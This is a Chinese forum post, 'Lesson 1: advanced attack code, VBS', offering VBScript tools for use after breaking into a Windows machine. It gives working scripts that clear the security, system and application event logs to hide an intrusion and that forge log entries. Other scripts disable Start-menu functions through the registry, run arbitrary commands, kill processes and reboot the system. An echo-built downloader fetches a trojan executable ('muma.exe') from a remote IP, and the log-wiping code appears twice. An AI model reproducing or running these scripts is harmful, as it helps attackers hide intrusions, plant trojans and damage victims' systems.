第一课(四课时)——高级攻击代码,VBS

发表在    net 07-17 20:07:11

4 6099 13

这里我想先说一下,这一章不是用于非法攻击的,只是用来装逼的!

  一、利用脚本编程删除日志 


  入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下: 


strComputer= "." 

Set objWMIService = GetObject("winmgmts:" _ 

& "{impersonationLevel=impersonate,(Backup)}!\\" & _ 

strComputer & "\root\cimv2") 

dim mylogs(3) 

mylogs(1)="application" 

mylogs(2)="system" 

mylogs(3)="security" 

for Each logs in mylogs 

Set colLogFiles=objWMIService.ExecQuery _ 

("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'") 

For Each objLogfile in colLogFiles  

objLogFile.ClearEventLog()  

Next 

next 


  将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。 



  二、利用脚本伪造日志 



  删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码: 


set ws=wscript.createobject("Wscript.shell") 

ws.logevent 0 ,"write log success" '创建一个成功执行日志 


  将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。 



  三、禁用开始菜单选项 

  用记事本编辑如下内容: 




Dim ChangeStartMenu  

Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")  

RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"  

Type_Name="REG_DWORD"  

Key_Data=1  

StartMenu_Run="NoRun"  

StartMenu_Find="NoFind"  

StartMenu_Close="NoClose"     

Sub Change(Argument)  

ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name  

MsgBox("Success!")  

End Sub     

Call Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能  

Call Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能  

Call Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能 


  将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。 



  四、执行外部程序 

  用记事本编辑如下内容: 

DIM objShell 

set objShell=wscript.createObject("wscript.shell") 

iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE) 

  保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。 

        五,文件下载(无回显)


echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe 
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe 
echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe 
echo xPost.Open "GET",iRemote,0 >>iget.vbe 
echo xPost.Send() >>iget.vbe 
echo Set sGet = createObject("ADODB.Stream") >>iget.vbe 
echo sGet.Mode = 3 >>iget.vbe 
echo sGet.Type = 1 >>iget.vbe 
echo sGet.Open() >>iget.vbe 
echo sGet.Write(xPost.responseBody) >>iget.vbe 
echo sGet.SaveToFile iLocal,2 >>iget.vbe 用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe

 

六,列举进程 


@echo for each ps in getobject _ >ps.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs 
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs 用法:cscript ps.vbs 


七,终止进程 


@echo for each ps in getobject _ >pskill.vbs 
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs 
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs 用法:cscript pskill.vbs pid 


八,重启系统


@echo for each os in getobject _ >reboot.vbs 
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs 
@echo os.win32shutdown(2):next >>reboot.vbs 用法:cscript reboot.vbs5.利用脚本编程删除日志strComputer= "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate,(Backup)}!\\" & _ 
strComputer & "\root\cimv2") 
dim mylogs(3) 
mylogs(1)="application" 
mylogs(2)="system" 
mylogs(3)="security" 
for Each logs in mylogs 
Set colLogFiles=objWMIService.ExecQuery _ 
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'") 
For Each objLogfile in colLogFiles 
objLogFile.ClearEventLog() 
Next 

next将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。



登录或注册后发布评论